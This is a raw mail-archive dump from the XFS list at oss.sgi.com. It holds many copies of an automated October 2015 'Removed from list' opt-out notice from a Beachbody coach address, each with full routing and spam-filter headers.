X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23336 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Your email address, xfs@oss.sgi.com, will no longer receive email messages sent from STEVE CONDER < steveconder@beachbodycoach.com >. If you would like to receive email messages from STEVE CONDER < steveconder@beachbodycoach.com > again please visit http://beachbodycoach.com/esuite/url/646C7A6/195 From DoNotReply@beachbody.com Fri Oct 9 09:26:30 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C360C7F63 for ; Fri, 9 Oct 2015 09:26:30 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 980088F804B for ; Fri, 9 Oct 2015 07:26:30 -0700 (PDT) X-ASG-Debug-ID: 1444400786-04bdf020dc61ed0001-NocioJ Received: from mail24.smtp1.icentris.com (mail24.smtp124.consonus.rev.icentris.net [66.133.124.24]) by cuda.sgi.com with ESMTP id DPisBbvS1Yzxs1ED (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 09 Oct 2015 07:26:27 -0700 (PDT) X-Barracuda-Envelope-From: DoNotReply@beachbody.com X-Barracuda-Apparent-Source-IP: 66.133.124.24 Received: from vapp11.consonus.icentris.net (vapp11.consonus.icentris.net [172.18.15.217]) by mail24.smtp1.icentris.com (8.13.8/8.13.8) with ESMTP id t99EQQcq005044 for ; Fri, 9 Oct 2015 08:26:26 -0600 Message-ID: <765258600.1444400786628.JavaMail.mdbodyespr@vapp11.consonus.icentris.net> Date: Fri, 9 Oct 2015 08:26:26 -0600 (MDT) From: STEVECONDER Email Opt-Out To: xfs@oss.sgi.com Subject: Removed from list Mime-Version: 1.0 X-ASG-Orig-Subj: Removed from list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail24.smtp124.consonus.rev.icentris.net[66.133.124.24] X-Barracuda-Start-Time: 1444400786 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23336 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Your email address, xfs@oss.sgi.com, will no longer receive email messages sent from STEVE CONDER < steveconder@beachbodycoach.com >. If you would like to receive email messages from STEVE CONDER < steveconder@beachbodycoach.com > again please visit http://beachbodycoach.com/esuite/url/646C7AF/16F From DoNotReply@beachbody.com Fri Oct 9 09:56:02 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5E8C97F67 for ; Fri, 9 Oct 2015 09:56:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E0D2BAC002 for ; Fri, 9 Oct 2015 07:56:01 -0700 (PDT) X-ASG-Debug-ID: 1444402559-04cbb03f1464220001-NocioJ Received: from mail24.smtp1.icentris.com (mail24.smtp124.consonus.rev.icentris.net [66.133.124.24]) by cuda.sgi.com with ESMTP id jULGggcL7ai6CYiV (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 09 Oct 2015 07:55:59 -0700 (PDT) X-Barracuda-Envelope-From: DoNotReply@beachbody.com X-Barracuda-Apparent-Source-IP: 66.133.124.24 Received: from mdbodyapp2.mdbody.consonus.icentris.net (mdbodyapp2.mdbody.consonus.icentris.net [172.18.15.235]) by mail24.smtp1.icentris.com (8.13.8/8.13.8) with ESMTP id t99EtwnZ008271 for ; Fri, 9 Oct 2015 08:55:58 -0600 Message-ID: <5919291.1444402558980.JavaMail.mdbodyespr@mdbodyapp2.mdbody.consonus.icentris.net> Date: Fri, 9 Oct 2015 08:55:58 -0600 (MDT) From: STEVECONDER Email Opt-Out To: xfs@oss.sgi.com Subject: Removed from list Mime-Version: 1.0 X-ASG-Orig-Subj: Removed from list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail24.smtp124.consonus.rev.icentris.net[66.133.124.24] X-Barracuda-Start-Time: 1444402559 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23336 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Your email address, xfs@oss.sgi.com, will no longer receive email messages sent from STEVE CONDER < steveconder@beachbodycoach.com >. If you would like to receive email messages from STEVE CONDER < steveconder@beachbodycoach.com > again please visit http://beachbodycoach.com/esuite/url/646C7BA/2AB From DoNotReply@beachbody.com Fri Oct 9 09:56:03 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2DCFF7F67 for ; Fri, 9 Oct 2015 09:56:03 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2455E304039 for ; Fri, 9 Oct 2015 07:56:00 -0700 (PDT) X-ASG-Debug-ID: 1444402557-04cb6c578560190001-NocioJ Received: from mail24.smtp1.icentris.com (mail24.smtp124.consonus.rev.icentris.net [66.133.124.24]) by cuda.sgi.com with ESMTP id JUEBnvDW7cHm8rxZ (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 09 Oct 2015 07:55:58 -0700 (PDT) X-Barracuda-Envelope-From: DoNotReply@beachbody.com X-Barracuda-Apparent-Source-IP: 66.133.124.24 Received: from mdbodyapp2.mdbody.consonus.icentris.net (mdbodyapp2.mdbody.consonus.icentris.net [172.18.15.235]) by mail24.smtp1.icentris.com (8.13.8/8.13.8) with ESMTP id t99Etvnh008257 for ; Fri, 9 Oct 2015 08:55:57 -0600 Message-ID: <18855023.1444402557690.JavaMail.mdbodyespr@mdbodyapp2.mdbody.consonus.icentris.net> Date: Fri, 9 Oct 2015 08:55:57 -0600 (MDT) From: STEVECONDER Email Opt-Out To: xfs@oss.sgi.com Subject: Removed from list Mime-Version: 1.0 X-ASG-Orig-Subj: Removed from list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail24.smtp124.consonus.rev.icentris.net[66.133.124.24] X-Barracuda-Start-Time: 1444402558 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23336 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Your email address, xfs@oss.sgi.com, will no longer receive email messages sent from STEVE CONDER < steveconder@beachbodycoach.com >. If you would like to receive email messages from STEVE CONDER < steveconder@beachbodycoach.com > again please visit http://beachbodycoach.com/esuite/url/646C736/11C From DoNotReply@beachbody.com Fri Oct 9 10:06:16 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6ED027F6C for ; Fri, 9 Oct 2015 10:06:16 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0D27DAC003 for ; Fri, 9 Oct 2015 08:06:12 -0700 (PDT) X-ASG-Debug-ID: 1444403166-04bdf020dd62fe0001-NocioJ Received: from mail24.smtp1.icentris.com (mail24.smtp124.consonus.rev.icentris.net [66.133.124.24]) by cuda.sgi.com with ESMTP id z4mbiDq4s5VPs9S9 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 09 Oct 2015 08:06:06 -0700 (PDT) X-Barracuda-Envelope-From: DoNotReply@beachbody.com X-Barracuda-Apparent-Source-IP: 66.133.124.24 Received: from mdbodyapp2.mdbody.consonus.icentris.net (mdbodyapp2.mdbody.consonus.icentris.net [172.18.15.235]) by mail24.smtp1.icentris.com (8.13.8/8.13.8) with ESMTP id t99F66M3019636 for ; Fri, 9 Oct 2015 09:06:06 -0600 Message-ID: <30839888.1444403166643.JavaMail.mdbodyespr@mdbodyapp2.mdbody.consonus.icentris.net> Date: Fri, 9 Oct 2015 09:06:06 -0600 (MDT) From: STEVECONDER Email Opt-Out To: xfs@oss.sgi.com Subject: Removed from list Mime-Version: 1.0 X-ASG-Orig-Subj: Removed from list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail24.smtp124.consonus.rev.icentris.net[66.133.124.24] X-Barracuda-Start-Time: 1444403166 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23336 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Your email address, xfs@oss.sgi.com, will no longer receive email messages sent from STEVE CONDER < steveconder@beachbodycoach.com >. If you would like to receive email messages from STEVE CONDER < steveconder@beachbodycoach.com > again please visit http://beachbodycoach.com/esuite/url/646C739/1F5 From DoNotReply@beachbody.com Fri Oct 9 10:06:47 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E27967F6C for ; Fri, 9 Oct 2015 10:06:47 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D4AC58F804B for ; Fri, 9 Oct 2015 08:06:47 -0700 (PDT) X-ASG-Debug-ID: 1444403205-04cb6c578560700001-NocioJ Received: from mail24.smtp1.icentris.com (mail24.smtp124.consonus.rev.icentris.net [66.133.124.24]) by cuda.sgi.com with ESMTP id AgZvChRZTVcYGZCJ (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 09 Oct 2015 08:06:46 -0700 (PDT) X-Barracuda-Envelope-From: DoNotReply@beachbody.com X-Barracuda-Apparent-Source-IP: 66.133.124.24 Received: from vapp11.consonus.icentris.net (vapp11.consonus.icentris.net [172.18.15.217]) by mail24.smtp1.icentris.com (8.13.8/8.13.8) with ESMTP id t99F6jf9020277 for ; Fri, 9 Oct 2015 09:06:45 -0600 Message-ID: <517753423.1444403205592.JavaMail.mdbodyespr@vapp11.consonus.icentris.net> Date: Fri, 9 Oct 2015 09:06:45 -0600 (MDT) From: STEVECONDER Email Opt-Out To: xfs@oss.sgi.com Subject: Removed from list Mime-Version: 1.0 X-ASG-Orig-Subj: Removed from list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail24.smtp124.consonus.rev.icentris.net[66.133.124.24] X-Barracuda-Start-Time: 1444403206 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23336 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Your email address, xfs@oss.sgi.com, will no longer receive email messages sent from STEVE CONDER < steveconder@beachbodycoach.com >. If you would like to receive email messages from STEVE CONDER < steveconder@beachbodycoach.com > again please visit http://beachbodycoach.com/esuite/url/646CA29/E From DoNotReply@beachbody.com Fri Oct 9 10:08:45 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9EBB37F6C for ; Fri, 9 Oct 2015 10:08:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2ACA2AC00E for ; Fri, 9 Oct 2015 08:08:45 -0700 (PDT) X-ASG-Debug-ID: 1444403322-04cbb03f1464750001-NocioJ Received: from mail24.smtp1.icentris.com (mail24.smtp124.consonus.rev.icentris.net [66.133.124.24]) by cuda.sgi.com with ESMTP id lkZQqBZyBBZAaQPe (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 09 Oct 2015 08:08:42 -0700 (PDT) X-Barracuda-Envelope-From: DoNotReply@beachbody.com X-Barracuda-Apparent-Source-IP: 66.133.124.24 Received: from vapp11.consonus.icentris.net (vapp11.consonus.icentris.net [172.18.15.217]) by mail24.smtp1.icentris.com (8.13.8/8.13.8) with ESMTP id t99F8gRW022514 for ; Fri, 9 Oct 2015 09:08:42 -0600 Message-ID: <49958194.1444403322091.JavaMail.mdbodyespr@vapp11.consonus.icentris.net> Date: Fri, 9 Oct 2015 09:08:42 -0600 (MDT) From: STEVECONDER Email Opt-Out To: xfs@oss.sgi.com Subject: Removed from list Mime-Version: 1.0 X-ASG-Orig-Subj: Removed from list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail24.smtp124.consonus.rev.icentris.net[66.133.124.24] X-Barracuda-Start-Time: 1444403322 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23336 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Your email address, xfs@oss.sgi.com, will no longer receive email messages sent from STEVE CONDER < steveconder@beachbodycoach.com >. If you would like to receive email messages from STEVE CONDER < steveconder@beachbodycoach.com > again please visit http://beachbodycoach.com/esuite/url/646CC6F/213 From DoNotReply@beachbody.com Fri Oct 9 10:16:42 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CCC0C7F77 for ; Fri, 9 Oct 2015 10:16:42 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 67361AC003 for ; Fri, 9 Oct 2015 08:16:42 -0700 (PDT) X-ASG-Debug-ID: 1444403800-04bdf020dd635b0001-NocioJ Received: from mail24.smtp1.icentris.com (mail24.smtp124.consonus.rev.icentris.net [66.133.124.24]) by cuda.sgi.com with ESMTP id NCpDAfuH2guXD21J (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 09 Oct 2015 08:16:40 -0700 (PDT) X-Barracuda-Envelope-From: DoNotReply@beachbody.com X-Barracuda-Apparent-Source-IP: 66.133.124.24 Received: from mdbodyapp2.mdbody.consonus.icentris.net (mdbodyapp2.mdbody.consonus.icentris.net [172.18.15.235]) by mail24.smtp1.icentris.com (8.13.8/8.13.8) with ESMTP id t99FGeNI031044 for ; Fri, 9 Oct 2015 09:16:40 -0600 Message-ID: <6244311.1444403800620.JavaMail.mdbodyespr@mdbodyapp2.mdbody.consonus.icentris.net> Date: Fri, 9 Oct 2015 09:16:40 -0600 (MDT) From: STEVECONDER Email Opt-Out To: xfs@oss.sgi.com Subject: Removed from list Mime-Version: 1.0 X-ASG-Orig-Subj: Removed from list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail24.smtp124.consonus.rev.icentris.net[66.133.124.24] X-Barracuda-Start-Time: 1444403800 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23336 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Your email address, xfs@oss.sgi.com, will no longer receive email messages sent from STEVE CONDER < steveconder@beachbodycoach.com >. If you would like to receive email messages from STEVE CONDER < steveconder@beachbodycoach.com > again please visit http://beachbodycoach.com/esuite/url/646CC83/126 From DoNotReply@beachbody.com Fri Oct 9 11:06:49 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8EB1B7F75 for ; Fri, 9 Oct 2015 11:06:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1D422AC00C for ; Fri, 9 Oct 2015 09:06:49 -0700 (PDT) X-ASG-Debug-ID: 1444406804-04cb6c578561df0001-NocioJ Received: from mail24.smtp1.icentris.com (mail24.smtp124.consonus.rev.icentris.net [66.133.124.24]) by cuda.sgi.com with ESMTP id j84R6S2QIFRmrBpf (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 09 Oct 2015 09:06:44 -0700 (PDT) X-Barracuda-Envelope-From: DoNotReply@beachbody.com X-Barracuda-Apparent-Source-IP: 66.133.124.24 Received: from mdbodyapp2.mdbody.consonus.icentris.net (mdbodyapp2.mdbody.consonus.icentris.net [172.18.15.235]) by mail24.smtp1.icentris.com (8.13.8/8.13.8) with ESMTP id t99G6isE023656 for ; Fri, 9 Oct 2015 10:06:44 -0600 Message-ID: <17294377.1444406804221.JavaMail.mdbodyespr@mdbodyapp2.mdbody.consonus.icentris.net> Date: Fri, 9 Oct 2015 10:06:44 -0600 (MDT) From: STEVECONDER Email Opt-Out To: xfs@oss.sgi.com Subject: Removed from list Mime-Version: 1.0 X-ASG-Orig-Subj: Removed from list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail24.smtp124.consonus.rev.icentris.net[66.133.124.24] X-Barracuda-Start-Time: 1444406804 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23337 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Your email address, xfs@oss.sgi.com, will no longer receive email messages sent from STEVE CONDER < steveconder@beachbodycoach.com >. If you would like to receive email messages from STEVE CONDER < steveconder@beachbodycoach.com > again please visit http://beachbodycoach.com/esuite/url/646CFEE/331 From DoNotReply@beachbody.com Fri Oct 9 11:06:51 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C5E3D7F7D for ; Fri, 9 Oct 2015 11:06:51 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B9E7C30406B for ; Fri, 9 Oct 2015 09:06:48 -0700 (PDT) X-ASG-Debug-ID: 1444406805-04cbb03f1566090001-NocioJ Received: from mail24.smtp1.icentris.com (mail24.smtp124.consonus.rev.icentris.net [66.133.124.24]) by cuda.sgi.com with ESMTP id ntarG40YZzZJP4Ej (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 09 Oct 2015 09:06:45 -0700 (PDT) X-Barracuda-Envelope-From: DoNotReply@beachbody.com X-Barracuda-Apparent-Source-IP: 66.133.124.24 Received: from mdbodyapp2.mdbody.consonus.icentris.net (mdbodyapp2.mdbody.consonus.icentris.net [172.18.15.235]) by mail24.smtp1.icentris.com (8.13.8/8.13.8) with ESMTP id t99G6jTk023667 for ; Fri, 9 Oct 2015 10:06:45 -0600 Message-ID: <27574085.1444406805063.JavaMail.mdbodyespr@mdbodyapp2.mdbody.consonus.icentris.net> Date: Fri, 9 Oct 2015 10:06:45 -0600 (MDT) From: STEVECONDER Email Opt-Out To: xfs@oss.sgi.com Subject: Removed from list Mime-Version: 1.0 X-ASG-Orig-Subj: Removed from list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail24.smtp124.consonus.rev.icentris.net[66.133.124.24] X-Barracuda-Start-Time: 1444406805 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23337 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Your email address, xfs@oss.sgi.com, will no longer receive email messages sent from STEVE CONDER < steveconder@beachbodycoach.com >. If you would like to receive email messages from STEVE CONDER < steveconder@beachbodycoach.com > again please visit http://beachbodycoach.com/esuite/url/646CFFE/299 From DoNotReply@beachbody.com Fri Oct 9 11:17:58 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3815D7F7C for ; Fri, 9 Oct 2015 11:17:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B9911AC00C for ; Fri, 9 Oct 2015 09:17:57 -0700 (PDT) X-ASG-Debug-ID: 1444407475-04bdf020dc64f30001-NocioJ Received: from mail24.smtp1.icentris.com (mail24.smtp124.consonus.rev.icentris.net [66.133.124.24]) by cuda.sgi.com with ESMTP id v39JDc45aAayUNAX (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 09 Oct 2015 09:17:55 -0700 (PDT) X-Barracuda-Envelope-From: DoNotReply@beachbody.com X-Barracuda-Apparent-Source-IP: 66.133.124.24 Received: from vapp11.consonus.icentris.net (vapp11.consonus.icentris.net [172.18.15.217]) by mail24.smtp1.icentris.com (8.13.8/8.13.8) with ESMTP id t99GHtrY003402 for ; Fri, 9 Oct 2015 10:17:55 -0600 Message-ID: <609860893.1444407475500.JavaMail.mdbodyespr@vapp11.consonus.icentris.net> Date: Fri, 9 Oct 2015 10:17:55 -0600 (MDT) From: STEVECONDER Email Opt-Out To: xfs@oss.sgi.com Subject: Removed from list Mime-Version: 1.0 X-ASG-Orig-Subj: Removed from list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail24.smtp124.consonus.rev.icentris.net[66.133.124.24] X-Barracuda-Start-Time: 1444407475 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23337 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Your email address, xfs@oss.sgi.com, will no longer receive email messages sent from STEVE CONDER < steveconder@beachbodycoach.com >. If you would like to receive email messages from STEVE CONDER < steveconder@beachbodycoach.com > again please visit http://beachbodycoach.com/esuite/url/646CFCE/173 From DoNotReply@beachbody.com Fri Oct 9 13:46:23 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CDF7B7F6C for ; Fri, 9 Oct 2015 13:46:23 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6BC03AC014 for ; Fri, 9 Oct 2015 11:46:20 -0700 (PDT) X-ASG-Debug-ID: 1444416375-04cb6c578b65de0001-NocioJ Received: from mail24.smtp1.icentris.com (mail24.smtp124.consonus.rev.icentris.net [66.133.124.24]) by cuda.sgi.com with ESMTP id 1d6V69U44FjpEVZ7 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 09 Oct 2015 11:46:16 -0700 (PDT) X-Barracuda-Envelope-From: DoNotReply@beachbody.com X-Barracuda-Apparent-Source-IP: 66.133.124.24 Received: from mdbodyapp2.mdbody.consonus.icentris.net (mdbodyapp2.mdbody.consonus.icentris.net [172.18.15.235]) by mail24.smtp1.icentris.com (8.13.8/8.13.8) with ESMTP id t99IkFRO011261 for ; Fri, 9 Oct 2015 12:46:15 -0600 Message-ID: 